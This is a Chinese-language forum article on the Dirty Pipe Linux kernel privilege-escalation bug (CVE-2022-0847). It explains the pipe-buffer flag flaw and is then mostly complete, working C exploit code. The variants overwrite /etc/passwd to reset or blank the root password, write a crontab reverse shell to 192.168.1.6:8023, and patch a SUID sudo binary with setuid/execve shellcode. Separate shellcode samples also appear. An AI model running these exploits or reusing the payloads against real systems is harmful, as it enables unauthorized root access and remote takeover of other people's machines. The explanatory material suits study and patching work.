脏管提权及延伸思考

camer   ·   发表于 2023-05-04 13:48:56   ·   技术文章

0x01 漏洞概述

Linux 提权漏洞:脏管漏洞(CVE-2022-0847),攻击者可以利用该漏洞实现低权限用户提升至 root 权限,且能对主机任意可读文件进行读写。该漏洞的产生源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化,从而导致允许覆盖任意只读文件中的数据,使得非特权本地用户利用该漏洞可以提升权限至root。

0x02 影响范围

  • Linux Kernel版本 >= 5.8
  • Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

0x03 漏洞原理

管道(pipe):是一种典型的进程间通信方式。它包含一个输入端和一个输出端,程序将数据从一端输入,从另一端读出;在内核中,为了实现这种数据通信方式,需要以页面(Page)为单位维护一个环形缓冲区(pipe_buffer),其缓冲区最多包含16个页面,且可以被循环利用。

  • CPU管理的最小内存单位是一个页面(page),一个页面通常为4kb(4096字节)大小。如果程序从文件中读取数据,内核将先把它从磁盘读取到专属于内核的页面缓存(PageCache)中,后续再把它从内核区域复制到用户程序的内存空间。

  • splice()系统调用:目标文件页面缓存数据不会直接复制到pipe的缓冲区内,而是以索引的方式(即内存页框地址、偏移量、长度所表示的一块内存区域)复制到pipe_buffer的结构体中,避免了从内核空间向用户空间的数据拷贝过程,这样目标文件页面缓存数据不会直接复制到pipe的缓冲区内,加快将文件内容推送到管道的过程,这个过程称为零拷贝。换句话说,splice()允许普通用户将管道指向已经加载到内存中的页面,其中包含最初由请求只读访问的进程打开的文件的一部分,通过将页面拼接到管道中,再将任意数据写入管道,这样一来就可以覆写页面的内容。
  • 文件覆写入管道后,实际磁盘上不会发生任何更改,只是对页面缓冲区(在内存中)进行了更改,内容并没有被永久更改。Linux Kernel v5.8—IPE_BUF_FLAG_CAN_MERGE。当一个程序使用管道写入数据时,pipwrite()调用会处理数据写入工作,默认情况下,多次写入操作是要写入环形缓冲区的一个新页面,但是如果单次写入操作没满一个页面大小,就会造成内存空间的浪费,所以pipbuffer中的每一个页面都包含一个can_merge属性,该属性可以在下一次pipe_write()操作执行时,指示内核继续向同一个页面继续写入数据,而不是获取一个新的页面进行写入。简单来说,这个标志允许用户告诉内核在数据写入时将页面写回磁盘。这个错误允许我们为管道指定任意标志,系统调用无意中允许我们将管道指向以只读方式打开的页面缓冲区。

漏洞本质:splice()系统调用将包含文件的页面缓存(Pagechace),连接到pipe到环形缓冲区(pip_buffer)时,在 copy_page_to_iter_pipe 和 push_pipe 函数中未能正确清除页面“PIPE_BUF_CAN_MERGE”属性(内核写入管道指向的页面的更改应该直接写回页面来源的文件。),导致后续进行pipe_write()操作时错误判定“write操作可合并”,从而将非法数据写入页面缓存,导致文件覆盖漏洞。

漏洞限制:

  1. 被覆盖文件必须具有可读权限
  2. pipe_buffer缓冲区中覆写页面缓存数据,splice()函数需要读取至少一字节的数据进入管道,所以页面第一个字节时不可修改的,单次写入数据不能大于4kb
  3. 任意文件覆盖写入时,不能调整文件的大小

0x04 漏洞复现

  1. #define _GNU_SOURCE
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/stat.h>
  8. #include <sys/user.h>
  9. #ifndef PAGE_SIZE
  10. #define PAGE_SIZE 4096
  11. #endif
  12. /**
  13. * Create a pipe where all "bufs" on the pipe_inode_info ring have the
  14. * PIPE_BUF_FLAG_CAN_MERGE flag set.
  15. */
  16. static void prepare_pipe(int p[2])
  17. {
  18. if (pipe(p)) abort();
  19. // 获取Pipe可使用的最大页面数量
  20. const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  21. static char buffer[4096];
  22. // 任意数据填充
  23. /* fill the pipe completely; each pipe_buffer will now have
  24. the PIPE_BUF_FLAG_CAN_MERGE flag */
  25. for (unsigned r = pipe_size; r > 0;) {
  26. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  27. write(p[1], buffer, n);
  28. r -= n;
  29. }
  30. //清空Pipe
  31. /* drain the pipe, freeing all pipe_buffer instances (but
  32. leaving the flags initialized) */
  33. for (unsigned r = pipe_size; r > 0;) {
  34. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  35. read(p[0], buffer, n);
  36. r -= n;
  37. }
  38. /* the pipe is now empty, and if somebody adds a new
  39. pipe_buffer without initializing its "flags", the buffer
  40. will be mergeable */
  41. }
  42. int main(int argc, char **argv) {
  43. const char *const path = "/etc/passwd";
  44. printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
  45. FILE *f1 = fopen("/etc/passwd", "r");
  46. FILE *f2 = fopen("/tmp/passwd.bak", "w");
  47. if (f1 == NULL) {
  48. printf("Failed to open /etc/passwd\n");
  49. exit(EXIT_FAILURE);
  50. } else if (f2 == NULL) {
  51. printf("Failed to open /tmp/passwd.bak\n");
  52. fclose(f1);
  53. exit(EXIT_FAILURE);
  54. }
  55. char c;
  56. while ((c = fgetc(f1)) != EOF)
  57. fputc(c, f2);
  58. fclose(f1);
  59. fclose(f2);
  60. loff_t offset = 4; // after the "root"
  61. const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
  62. printf("Setting root password to \"aaron\"...");
  63. const size_t data_size = strlen(data);
  64. if (offset % PAGE_SIZE == 0) {
  65. fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
  66. return EXIT_FAILURE;
  67. }
  68. const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  69. const loff_t end_offset = offset + (loff_t)data_size;
  70. if (end_offset > next_page) {
  71. fprintf(stderr, "Sorry, cannot write across a page boundary\n");
  72. return EXIT_FAILURE;
  73. }
  74. //打开只读文件
  75. /* open the input file and validate the specified offset */
  76. const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  77. if (fd < 0) {
  78. perror("open failed");
  79. return EXIT_FAILURE;
  80. }
  81. struct stat st;
  82. if (fstat(fd, &st)) {
  83. perror("stat failed");
  84. return EXIT_FAILURE;
  85. }
  86. if (offset > st.st_size) {
  87. fprintf(stderr, "Offset is not inside the file\n");
  88. return EXIT_FAILURE;
  89. }
  90. if (end_offset > st.st_size) {
  91. fprintf(stderr, "Sorry, cannot enlarge the file\n");
  92. return EXIT_FAILURE;
  93. }
  94. // 创建Pipe
  95. /* create the pipe with all flags initialized with
  96. PIPE_BUF_FLAG_CAN_MERGE */
  97. int p[2];
  98. prepare_pipe(p);
  99. // splice()将文件1字节数据写入Pipe
  100. /* splice one byte from before the specified offset into the
  101. pipe; this will add a reference to the page cache, but
  102. since copy_page_to_iter_pipe() does not initialize the
  103. "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  104. --offset;
  105. ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  106. if (nbytes < 0) {
  107. perror("splice failed");
  108. return EXIT_FAILURE;
  109. }
  110. if (nbytes == 0) {
  111. fprintf(stderr, "short splice\n");
  112. return EXIT_FAILURE;
  113. }
  114. // write()写入任意数据到Pipe
  115. /* the following write will not create a new pipe_buffer, but
  116. will instead write into the page cache, because of the
  117. PIPE_BUF_FLAG_CAN_MERGE flag */
  118. nbytes = write(p[1], data, data_size);
  119. // 判断是否写入成功
  120. if (nbytes < 0) {
  121. perror("write failed");
  122. return EXIT_FAILURE;
  123. }
  124. if ((size_t)nbytes < data_size) {
  125. fprintf(stderr, "short write\n");
  126. return EXIT_FAILURE;
  127. }
  128. printf("It worked!\n");
  129. system("/bin/sh -c '(echo aaron; cat) | su - -c \""
  130. "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
  131. "cp /tmp/passwd.bak /etc/passwd;"
  132. "echo \\\"Done! Popping shell...\\\";"
  133. "sleep 2;"
  134. "echo \\\"(run commands now)\\\";"
  135. "/bin/sh;" // one shold work
  136. "\" root'");
  137. return EXIT_SUCCESS;
  138. }
  1. 创建一个管道(pipe)
  2. 通过(pipe_write)填充管道至满,这样所有的buf(pipe 缓存页)都初始化过了,flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE
  3. 将管道清空(pipe_read),这样通过splice()系统调用传送文件的时候就会使用原有的初始化过的buf结构
  4. 使用Splice()读取目标文件(只读)的一字节数据发送至pipe
  5. write()将任意数据继续写入pipe,此数据会覆盖目标文件内容

利用总结与拓展:

  • 通过漏洞覆写/etc/passwd密码文件,然后使用该openssl命令为您选择的密码创建一个 SHA512Crypt 哈希,修改 root 帐号密码,然后通过管道将自定义密码灌入su -命令达到切换到 root 帐号的目的,从而实现提权。
  1. #define _GNU_SOURCE
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/stat.h>
  8. #include <sys/user.h>
  9. #ifndef PAGE_SIZE
  10. #define PAGE_SIZE 4096
  11. #endif
  12. /**
  13. * Create a pipe where all "bufs" on the pipe_inode_info ring have the
  14. * PIPE_BUF_FLAG_CAN_MERGE flag set.
  15. */
  16. static void prepare_pipe(int p[2])
  17. {
  18. if (pipe(p)) abort();
  19. const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  20. static char buffer[4096];
  21. /* fill the pipe completely; each pipe_buffer will now have
  22. the PIPE_BUF_FLAG_CAN_MERGE flag */
  23. for (unsigned r = pipe_size; r > 0;) {
  24. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  25. write(p[1], buffer, n);
  26. r -= n;
  27. }
  28. /* drain the pipe, freeing all pipe_buffer instances (but
  29. leaving the flags initialized) */
  30. for (unsigned r = pipe_size; r > 0;) {
  31. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  32. read(p[0], buffer, n);
  33. r -= n;
  34. }
  35. /* the pipe is now empty, and if somebody adds a new
  36. pipe_buffer without initializing its "flags", the buffer
  37. will be mergeable */
  38. }
  39. int main() {
  40. const char *const path = "/etc/passwd";
  41. printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
  42. FILE *f1 = fopen("/etc/passwd", "r");
  43. FILE *f2 = fopen("/tmp/passwd.bak", "w");
  44. if (f1 == NULL) {
  45. printf("Failed to open /etc/passwd\n");
  46. exit(EXIT_FAILURE);
  47. } else if (f2 == NULL) {
  48. printf("Failed to open /tmp/passwd.bak\n");
  49. fclose(f1);
  50. exit(EXIT_FAILURE);
  51. }
  52. char c;
  53. while ((c = fgetc(f1)) != EOF)
  54. fputc(c, f2);
  55. fclose(f1);
  56. fclose(f2);
  57. loff_t offset = 4; // after the "root"
  58. const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
  59. printf("Setting root password to \"aaron\"...\n");
  60. const size_t data_size = strlen(data);
  61. if (offset % PAGE_SIZE == 0) {
  62. fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
  63. return EXIT_FAILURE;
  64. }
  65. const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  66. const loff_t end_offset = offset + (loff_t)data_size;
  67. if (end_offset > next_page) {
  68. fprintf(stderr, "Sorry, cannot write across a page boundary\n");
  69. return EXIT_FAILURE;
  70. }
  71. /* open the input file and validate the specified offset */
  72. const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  73. if (fd < 0) {
  74. perror("open failed");
  75. return EXIT_FAILURE;
  76. }
  77. struct stat st;
  78. if (fstat(fd, &st)) {
  79. perror("stat failed");
  80. return EXIT_FAILURE;
  81. }
  82. if (offset > st.st_size) {
  83. fprintf(stderr, "Offset is not inside the file\n");
  84. return EXIT_FAILURE;
  85. }
  86. if (end_offset > st.st_size) {
  87. fprintf(stderr, "Sorry, cannot enlarge the file\n");
  88. return EXIT_FAILURE;
  89. }
  90. /* create the pipe with all flags initialized with
  91. PIPE_BUF_FLAG_CAN_MERGE */
  92. int p[2];
  93. prepare_pipe(p);
  94. /* splice one byte from before the specified offset into the
  95. pipe; this will add a reference to the page cache, but
  96. since copy_page_to_iter_pipe() does not initialize the
  97. "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  98. --offset;
  99. ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  100. if (nbytes < 0) {
  101. perror("splice failed");
  102. return EXIT_FAILURE;
  103. }
  104. if (nbytes == 0) {
  105. fprintf(stderr, "short splice\n");
  106. return EXIT_FAILURE;
  107. }
  108. /* the following write will not create a new pipe_buffer, but
  109. will instead write into the page cache, because of the
  110. PIPE_BUF_FLAG_CAN_MERGE flag */
  111. nbytes = write(p[1], data, data_size);
  112. if (nbytes < 0) {
  113. perror("write failed");
  114. return EXIT_FAILURE;
  115. }
  116. if ((size_t)nbytes < data_size) {
  117. fprintf(stderr, "short write\n");
  118. return EXIT_FAILURE;
  119. }
  120. return EXIT_SUCCESS;
  121. }

  • 通过漏洞覆写/etc/passwd密码文件,将 root 帐号密码位x置空,即root:x:0:0:root:/root:/bin/bash改为root::0:0:root:/root:/bin/bash,然后用su root实现无密码切换到 root 帐号,从而实现提权。

  1. #define _GNU_SOURCE
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/stat.h>
  8. #include <sys/user.h>
  9. #ifndef PAGE_SIZE
  10. #define PAGE_SIZE 4096
  11. #endif
  12. /**
  13. * Create a pipe where all "bufs" on the pipe_inode_info ring have the
  14. * PIPE_BUF_FLAG_CAN_MERGE flag set.
  15. */
  16. static void prepare_pipe(int p[2])
  17. {
  18. if (pipe(p)) abort();
  19. const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  20. static char buffer[4096];
  21. /* fill the pipe completely; each pipe_buffer will now have
  22. the PIPE_BUF_FLAG_CAN_MERGE flag */
  23. for (unsigned r = pipe_size; r > 0;) {
  24. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  25. write(p[1], buffer, n);
  26. r -= n;
  27. }
  28. /* drain the pipe, freeing all pipe_buffer instances (but
  29. leaving the flags initialized) */
  30. for (unsigned r = pipe_size; r > 0;) {
  31. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  32. read(p[0], buffer, n);
  33. r -= n;
  34. }
  35. /* the pipe is now empty, and if somebody adds a new
  36. pipe_buffer without initializing its "flags", the buffer
  37. will be mergeable */
  38. }
  39. int main() {
  40. const char *const path = "/etc/passwd";
  41. printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
  42. FILE *f1 = fopen("/etc/passwd", "r");
  43. FILE *f2 = fopen("/tmp/passwd.bak", "w");
  44. if (f1 == NULL) {
  45. printf("Failed to open /etc/passwd\n");
  46. exit(EXIT_FAILURE);
  47. } else if (f2 == NULL) {
  48. printf("Failed to open /tmp/passwd.bak\n");
  49. fclose(f1);
  50. exit(EXIT_FAILURE);
  51. }
  52. char c;
  53. while ((c = fgetc(f1)) != EOF)
  54. fputc(c, f2);
  55. fclose(f1);
  56. fclose(f2);
  57. loff_t offset = 4; // after the "root"
  58. const char *const data = "::0:0:root:/root:/bin/bash\n"; // clean password
  59. printf("Clean password Success!\n");
  60. const size_t data_size = strlen(data);
  61. if (offset % PAGE_SIZE == 0) {
  62. fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
  63. return EXIT_FAILURE;
  64. }
  65. const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  66. const loff_t end_offset = offset + (loff_t)data_size;
  67. if (end_offset > next_page) {
  68. fprintf(stderr, "Sorry, cannot write across a page boundary\n");
  69. return EXIT_FAILURE;
  70. }
  71. /* open the input file and validate the specified offset */
  72. const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  73. if (fd < 0) {
  74. perror("open failed");
  75. return EXIT_FAILURE;
  76. }
  77. struct stat st;
  78. if (fstat(fd, &st)) {
  79. perror("stat failed");
  80. return EXIT_FAILURE;
  81. }
  82. if (offset > st.st_size) {
  83. fprintf(stderr, "Offset is not inside the file\n");
  84. return EXIT_FAILURE;
  85. }
  86. if (end_offset > st.st_size) {
  87. fprintf(stderr, "Sorry, cannot enlarge the file\n");
  88. return EXIT_FAILURE;
  89. }
  90. /* create the pipe with all flags initialized with
  91. PIPE_BUF_FLAG_CAN_MERGE */
  92. int p[2];
  93. prepare_pipe(p);
  94. /* splice one byte from before the specified offset into the
  95. pipe; this will add a reference to the page cache, but
  96. since copy_page_to_iter_pipe() does not initialize the
  97. "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  98. --offset;
  99. ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  100. if (nbytes < 0) {
  101. perror("splice failed");
  102. return EXIT_FAILURE;
  103. }
  104. if (nbytes == 0) {
  105. fprintf(stderr, "short splice\n");
  106. return EXIT_FAILURE;
  107. }
  108. /* the following write will not create a new pipe_buffer, but
  109. will instead write into the page cache, because of the
  110. PIPE_BUF_FLAG_CAN_MERGE flag */
  111. nbytes = write(p[1], data, data_size);
  112. if (nbytes < 0) {
  113. perror("write failed");
  114. return EXIT_FAILURE;
  115. }
  116. if ((size_t)nbytes < data_size) {
  117. fprintf(stderr, "short write\n");
  118. return EXIT_FAILURE;
  119. }
  120. return EXIT_SUCCESS;
  121. }

  • 通过漏洞写crontab计划任务文件,定时反弹一个shell,然后通过nc远程接收shell,从而实现提权。

  1. #define _GNU_SOURCE
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/stat.h>
  8. #include <sys/user.h>
  9. #ifndef PAGE_SIZE
  10. #define PAGE_SIZE 4096
  11. #endif
  12. /**
  13. * Create a pipe where all "bufs" on the pipe_inode_info ring have the
  14. * PIPE_BUF_FLAG_CAN_MERGE flag set.
  15. */
  16. static void prepare_pipe(int p[2])
  17. {
  18. if (pipe(p)) abort();
  19. const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  20. static char buffer[4096];
  21. /* fill the pipe completely; each pipe_buffer will now have
  22. the PIPE_BUF_FLAG_CAN_MERGE flag */
  23. for (unsigned r = pipe_size; r > 0;) {
  24. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  25. write(p[1], buffer, n);
  26. r -= n;
  27. }
  28. /* drain the pipe, freeing all pipe_buffer instances (but
  29. leaving the flags initialized) */
  30. for (unsigned r = pipe_size; r > 0;) {
  31. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  32. read(p[0], buffer, n);
  33. r -= n;
  34. }
  35. /* the pipe is now empty, and if somebody adds a new
  36. pipe_buffer without initializing its "flags", the buffer
  37. will be mergeable */
  38. }
  39. int main() {
  40. const char *const path = "/etc/crontab";
  41. printf("Backing up /etc/crontab to /tmp/crontab.bak ...\n");
  42. FILE *f1 = fopen("/etc/crontab", "r");
  43. FILE *f2 = fopen("/tmp/crontab.bak", "w");
  44. if (f1 == NULL) {
  45. printf("Failed to open /etc/crontab\n");
  46. exit(EXIT_FAILURE);
  47. } else if (f2 == NULL) {
  48. printf("Failed to open /tmp/crontab.bak\n");
  49. fclose(f1);
  50. exit(EXIT_FAILURE);
  51. }
  52. char c;
  53. while ((c = fgetc(f1)) != EOF)
  54. fputc(c, f2);
  55. fclose(f1);
  56. fclose(f2);
  57. loff_t offset = 4; // after the "root"
  58. const char *const data = "\n* * * * * root /bin/bash -c 'exec bash -i &> /dev/tcp/192.168.1.6/8023 <&1'\n#"; // Reverse shell
  59. printf("Reverse shell success!\n");
  60. const size_t data_size = strlen(data);
  61. if (offset % PAGE_SIZE == 0) {
  62. fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
  63. return EXIT_FAILURE;
  64. }
  65. const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  66. const loff_t end_offset = offset + (loff_t)data_size;
  67. if (end_offset > next_page) {
  68. fprintf(stderr, "Sorry, cannot write across a page boundary\n");
  69. return EXIT_FAILURE;
  70. }
  71. /* open the input file and validate the specified offset */
  72. const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  73. if (fd < 0) {
  74. perror("open failed");
  75. return EXIT_FAILURE;
  76. }
  77. struct stat st;
  78. if (fstat(fd, &st)) {
  79. perror("stat failed");
  80. return EXIT_FAILURE;
  81. }
  82. if (offset > st.st_size) {
  83. fprintf(stderr, "Offset is not inside the file\n");
  84. return EXIT_FAILURE;
  85. }
  86. if (end_offset > st.st_size) {
  87. fprintf(stderr, "Sorry, cannot enlarge the file\n");
  88. return EXIT_FAILURE;
  89. }
  90. /* create the pipe with all flags initialized with
  91. PIPE_BUF_FLAG_CAN_MERGE */
  92. int p[2];
  93. prepare_pipe(p);
  94. /* splice one byte from before the specified offset into the
  95. pipe; this will add a reference to the page cache, but
  96. since copy_page_to_iter_pipe() does not initialize the
  97. "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  98. --offset;
  99. ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  100. if (nbytes < 0) {
  101. perror("splice failed");
  102. return EXIT_FAILURE;
  103. }
  104. if (nbytes == 0) {
  105. fprintf(stderr, "short splice\n");
  106. return EXIT_FAILURE;
  107. }
  108. /* the following write will not create a new pipe_buffer, but
  109. will instead write into the page cache, because of the
  110. PIPE_BUF_FLAG_CAN_MERGE flag */
  111. nbytes = write(p[1], data, data_size);
  112. if (nbytes < 0) {
  113. perror("write failed");
  114. return EXIT_FAILURE;
  115. }
  116. if ((size_t)nbytes < data_size) {
  117. fprintf(stderr, "short write\n");
  118. return EXIT_FAILURE;
  119. }
  120. return EXIT_SUCCESS;
  121. }

  • 通过劫持拥有 root 权限的 SUID 进程,进行提权。
    • SUID:允许用户执行的文件以该文件的拥有者身份执行。
  1. find / -perm -4000 2>/dev/null //搜索具有suid权限的文件

  1. #define _GNU_SOURCE
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/stat.h>
  8. #include <sys/user.h>
  9. #ifndef PAGE_SIZE
  10. #define PAGE_SIZE 4096
  11. #endif
  12. /**
  13. * Create a pipe where all "bufs" on the pipe_inode_info ring have the
  14. * PIPE_BUF_FLAG_CAN_MERGE flag set.
  15. */
  16. static void prepare_pipe(int p[2])
  17. {
  18. if (pipe(p)) abort();
  19. const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  20. static char buffer[4096];
  21. /* fill the pipe completely; each pipe_buffer will now have
  22. the PIPE_BUF_FLAG_CAN_MERGE flag */
  23. for (unsigned r = pipe_size; r > 0;) {
  24. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  25. write(p[1], buffer, n);
  26. r -= n;
  27. }
  28. /* drain the pipe, freeing all pipe_buffer instances (but
  29. leaving the flags initialized) */
  30. for (unsigned r = pipe_size; r > 0;) {
  31. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  32. read(p[0], buffer, n);
  33. r -= n;
  34. }
  35. /* the pipe is now empty, and if somebody adds a new
  36. pipe_buffer without initializing its "flags", the buffer
  37. will be mergeable */
  38. }
  39. int main() {
  40. const char *const path = "./sudo";
  41. printf("Backing up ./sudo to /tmp/sudo.bak ...\n");
  42. FILE *f1 = fopen("./sudo", "r");
  43. FILE *f2 = fopen("/tmp/sudo.bak", "w");
  44. if (f1 == NULL) {
  45. printf("Failed to open ./sudo\n");
  46. exit(EXIT_FAILURE);
  47. } else if (f2 == NULL) {
  48. printf("Failed to open /tmp/sudo.bak\n");
  49. fclose(f1);
  50. exit(EXIT_FAILURE);
  51. }
  52. char c;
  53. while ((c = fgetc(f1)) != EOF)
  54. fputc(c, f2);
  55. fclose(f1);
  56. fclose(f2);
  57. loff_t offset = 37616;
  58. const char data [255]={0x48,0x31,0xff,0xb0,0x69,0x0f,0x05,0x48,0x31,0xd2,0x48,0xbb,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x48,0xc1,0xeb,0x08,0x53,0x48,0x89,0xe7,0x48,0x31,0xc0,0x50,0x57,0x48,0x89,0xe6,0xb0,0x3b,0x0f,0x05,0x6a,0x01,0x5f,0x6a,0x3c,0x58,0x0f,0x05};
  59. printf("Hijacking success!\n");
  60. const size_t data_size = strlen(data);
  61. if (offset % PAGE_SIZE == 0) {
  62. fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
  63. return EXIT_FAILURE;
  64. }
  65. const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  66. const loff_t end_offset = offset + (loff_t)data_size;
  67. if (end_offset > next_page) {
  68. fprintf(stderr, "Sorry, cannot write across a page boundary\n");
  69. return EXIT_FAILURE;
  70. }
  71. /* open the input file and validate the specified offset */
  72. const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  73. if (fd < 0) {
  74. perror("open failed");
  75. return EXIT_FAILURE;
  76. }
  77. struct stat st;
  78. if (fstat(fd, &st)) {
  79. perror("stat failed");
  80. return EXIT_FAILURE;
  81. }
  82. if (offset > st.st_size) {
  83. fprintf(stderr, "Offset is not inside the file\n");
  84. return EXIT_FAILURE;
  85. }
  86. if (end_offset > st.st_size) {
  87. fprintf(stderr, "Sorry, cannot enlarge the file\n");
  88. return EXIT_FAILURE;
  89. }
  90. /* create the pipe with all flags initialized with
  91. PIPE_BUF_FLAG_CAN_MERGE */
  92. int p[2];
  93. prepare_pipe(p);
  94. /* splice one byte from before the specified offset into the
  95. pipe; this will add a reference to the page cache, but
  96. since copy_page_to_iter_pipe() does not initialize the
  97. "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  98. --offset;
  99. ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  100. if (nbytes < 0) {
  101. perror("splice failed");
  102. return EXIT_FAILURE;
  103. }
  104. if (nbytes == 0) {
  105. fprintf(stderr, "short splice\n");
  106. return EXIT_FAILURE;
  107. }
  108. /* the following write will not create a new pipe_buffer, but
  109. will instead write into the page cache, because of the
  110. PIPE_BUF_FLAG_CAN_MERGE flag */
  111. nbytes = write(p[1], data, data_size);
  112. if (nbytes < 0) {
  113. perror("write failed");
  114. return EXIT_FAILURE;
  115. }
  116. if ((size_t)nbytes < data_size) {
  117. fprintf(stderr, "short write\n");
  118. return EXIT_FAILURE;
  119. }
  120. return EXIT_SUCCESS;
  121. }

  1. /** x86_64 execveat("/bin//sh") 29 bytes shellcode
  2. --[ AUTHORS
  3. * ZadYree
  4. * vaelio
  5. * DaShrooms
  6. ~ Armature Technologies R&D
  7. --[ asm
  8. 6a 42 push 0x42
  9. 58 pop rax
  10. fe c4 inc ah
  11. 48 99 cqo
  12. 52 push rdx
  13. 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f2f6e69622f
  14. 2f 73 68
  15. 57 push rdi
  16. 54 push rsp
  17. 5e pop rsi
  18. 49 89 d0 mov r8, rdx
  19. 49 89 d2 mov r10, rdx
  20. 0f 05 syscall
  21. --[ COMPILE
  22. gcc execveat.c -o execveat # NX-compatible :)
  23. **/
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <stdint.h>
  27. const uint8_t sc[29] = {
  28. 0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf,
  29. 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54,
  30. 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05
  31. };
  32. /** str
  33. \x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf
  34. \x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54
  35. \x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05
  36. **/
  37. int main (void)
  38. {
  39. ((void (*) (void)) sc) ();
  40. return EXIT_SUCCESS;
  41. }
  1. /*
  2. setuid(0) + execve(/bin/sh) - just 4 fun.
  3. xi4oyu [at] 80sec.com
  4. main(){
  5. __asm( "xorq %rdi,%rdi\n\t"
  6. "mov $0x69,%al\n\t"
  7. "syscall \n\t"
  8. "xorq %rdx, %rdx \n\t"
  9. "movq $0x68732f6e69622fff,%rbx; \n\t"
  10. "shr $0x8, %rbx; \n\t"
  11. "push %rbx; \n\t"
  12. "movq %rsp,%rdi; \n\t"
  13. "xorq %rax,%rax; \n\t"
  14. "pushq %rax; \n\t"
  15. "pushq %rdi; \n\t"
  16. "movq %rsp,%rsi; \n\t"
  17. "mov $0x3b,%al; \n\t"
  18. "syscall ; \n\t"
  19. "pushq $0x1 ; \n\t"
  20. "pop %rdi ; \n\t"
  21. "pushq $0x3c ; \n\t"
  22. "pop %rax ; \n\t"
  23. "syscall ; \n\t"
  24. );
  25. }
  26. */
  27. main() {
  28. char shellcode[] =
  29. "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62"
  30. "\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31"
  31. "\xc0\x50\x57\x48\x89\xe6 \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c"
  32. "\x58\x0f\x05";
  33. (*(void (*)()) shellcode)();
  34. }
  35. 2009-05-14
  36. evil.xi4oyu
用户名金币积分时间理由
Track-聂风 100.00 0 2023-05-05 15:03:55 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2023-5-4 | 610 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.